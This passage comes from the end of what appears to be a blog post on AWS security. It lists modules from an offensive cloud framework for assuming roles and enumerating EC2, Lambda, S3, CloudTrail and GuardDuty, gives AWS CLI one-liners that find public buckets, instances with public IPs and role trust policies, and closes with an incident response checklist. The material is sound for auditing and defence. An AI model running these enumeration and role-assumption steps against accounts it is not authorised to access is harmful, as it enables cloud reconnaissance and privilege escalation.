iam__assume_role |
Assume IAM roles | run iam__assume_role |
ec2__enum |
Enumerate EC2 resources | run ec2__enum |
lambda__enum |
Enumerate Lambda functions | run lambda__enum |
s3__enum |
Enumerate S3 buckets | run s3__enum |
cloudtrail__enum |
Enumerate CloudTrail | run cloudtrail__enum |
guardduty__enum |
Check GuardDuty status | run guardduty__enum |
9.3 Useful AWS CLI One-Liners
# List all S3 buckets
aws s3 ls | awk '{print $2}'
# Find public S3 buckets
aws s3api list-buckets --query 'Buckets[].Name' | \
xargs -I {} aws s3api get-bucket-acl --bucket {} --query 'ACL[?Grantee.URI==`http://acs.amazonaws.com/groups/global/AllUsers`]'
# List all EC2 instances
aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,InstanceType,State.Name]' --output table
# Find instances with public IP
aws ec2 describe-instances --query 'Reservations[].Instances[?PublicIpAddress!=`null`].[InstanceId,PublicIpAddress]'
# List all Lambda functions
aws lambda list-functions --query 'Functions[].[FunctionName,Runtime,Handler]' --output table
# Check MFA status for all users
aws iam list-users --query 'Users[].UserName' | \
xargs -I {} aws iam list-mfa-devices --user-name {} --query 'MFADevices[0].SerialNumber'
# Find roles trust relationship
aws iam list-roles --query 'Roles[].RoleName' | \
xargs -I {} aws iam get-role --role-name {} --query 'Role.AssumeRolePolicyDocument'
9.4 Emergency Response Checklist
Immediate Actions
- [ ] Rotate all AWS access keys
- [ ] Delete suspicious IAM users/roles
- [ ] Enable CloudTrail in all regions
- [ ] Enable GuardDuty
- [ ] Review CloudTrail logs for suspicious activity
- [ ] Check for unauthorized S3 bucket policies
- [ ] Review EC2 instances for backdoors
- [ ] Check Lambda functions for malicious code
- [ ] Review IAM trust relationships
- [ ] Check for cross-account access grants
Post-Incident
- [ ] Document all findings
- [ ] Update security policies
- [ ] Implement missing controls
- [ ] Conduct lessons learned session
- [ ] Update incident response plan
- [ ] Schedule follow-up assessment
Top comments (0)